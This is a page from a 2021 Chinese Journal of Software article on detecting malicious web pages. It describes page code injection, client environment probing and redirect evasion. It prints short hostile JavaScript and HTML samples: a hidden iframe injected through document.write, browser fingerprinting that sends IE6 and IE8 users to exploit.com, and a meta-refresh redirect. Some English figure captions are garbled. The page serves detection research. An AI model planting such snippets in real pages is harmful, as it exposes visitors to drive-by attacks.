Page 296 - 《软件学报》2021年第9期
P. 296

2920                                 Journal of Software  软件学报 Vol.32, No.9,  September 2021

         意代码,例如 JavaScript 语言中自带的 eval 函数可以动态执行脚本代码,以及使用 document.write 函数修改页面
         的 DOM 结构实现外部恶意代码注入.如图 4 所示是一段利用 document.write 函数动态创建一个指向恶意 URL
         的 iframe 标签,实现注入外部恶意代码.基于以上对恶意代码分析可以看出:页面代码注入的特点主要体现在页
         面源代码中,攻击者通过动态执行将恶意标签注入到页面中.
                          〈script〉
                            document.write(“〈iframe width=‘0’ height=‘0’ src=‘maliciousSite’〉〈/iframe〉”);
                             //使用 document.write 函数动态创建标签,注入恶意代码
                          〈/script〉
                       Fig.4    JS for A sample of dynamica HTML taglly creatgenerationed HTML tag
                               图 4   动态写入创建 HTML 标签生成 JS 代码示例样本

         2.3   客户端环境探测
             针对不同客户端环境之间存在的差异性,攻击者通常精心编写 JavaScript 脚本代码对客户端环境进行探测,
         实现更加精准地攻击特定用户群体,而且针对客户端环境的探测也可以有效地识别检测引擎.如图 5 中是一段
         对客户端环境进行探测的恶意 JavaScript 代码,其中,第 2 行~第 6 行 JavaScript 脚本代码实现判断客户端是否为
         真实浏览器的功能.因为模拟浏览器不会造成 ActiveXObject 异常,但是恶意代码故意抛出 ActiveXObject 异常,
         因此只有支持处理异常的真实浏览器才会继续执行后续的操作.
             恶意代码通过客户端的 UserAgent 字段获取浏览器指纹信息,并将其存储在变量 ua 中,使用条件分支语句
         进行判断.如果变量 ua 包含“msie 6”或“msie 8”字符串,则分别执行不同的重定向代码,即客户端浏览器为 IE6 的
         用户会被重定向跳转到“http://exploit.com/IE6/”的网址,而客户端浏览器为 IE8 的用户被重定向到“http://exploit.
         com/IE8/”的网址,其他不符合浏览器版本的用户则不会发生重定向跳转.只有浏览器是 IE6 和 IE8 版本的用户
         才会被跳转到真正的恶意 URL.基于以上分析可以看出:客户端环境探测的特点主要体现在页面源代码和会话
         流程中,攻击者通过客户端环境探测代码识别用户的客户端,并针对不同客户端环境的用户,分别重定向到不同
         的恶意网站.
                         〈script〉 var ua=“⋅”;
                         try {
                           new ActiveXObject(“dummy”);    //尝试创建一个ActiveXObject对象
                           } catch (e) {
                           ua=window.navigator.userAgent.toLowerCase(⋅);   //获取客户端的浏览器版本信息
                         }
                         if (ua.indexOf(“msie 6”)!=−1) {    //判断客户端浏览器是否为IE6版本
                            location.href=“http://exploit.com/IE6/”;   //针对IE6版本进行攻击的URL地址
                         }
                         else if (ua.indexOf(“msie 8”)!=−1) {    //判断客户端浏览器是否为IE8版本
                            location.href=“http://exploit.com/IE8/”;   //针对IE8版本进行攻击的URL地址
                         }    〈/script〉
                          Fig.5    Fig.5 A sample ofJS for client environment recognitiondetection
                                          图 5   客户端环境识别样本
         2.4   页面重定向跳转
             为了使检测引擎难以跟踪和发现恶意 URL 的真实地址,攻击者还会在页面中插入进行自动重定向跳转的
         恶意代码,以此来逃避安全软件的检测.其中,恶意网页最常使用 Meta 标签设置页面进行刷新重定向,如图 6 所
         示的恶意代码是在页面中设置 Meta 标签中的 http-equiv,content 和 url 属性值,从而实现在等待 0.1s 后进行自动
         刷新,然后重定向跳转到恶意 URLexploit.com.

                                〈Meta http-equiv=“refresh” content=“0.1; url=http://exploit.com”〉
                                //使用标签0.1秒后自动刷新进行重定向
                           Fig.6    A sample JS forof automatically redirected malicious codeion
                                    图 6   自动重定向跳转的恶意代码 JS 样本
   291   292   293   294   295   296   297   298   299   300   301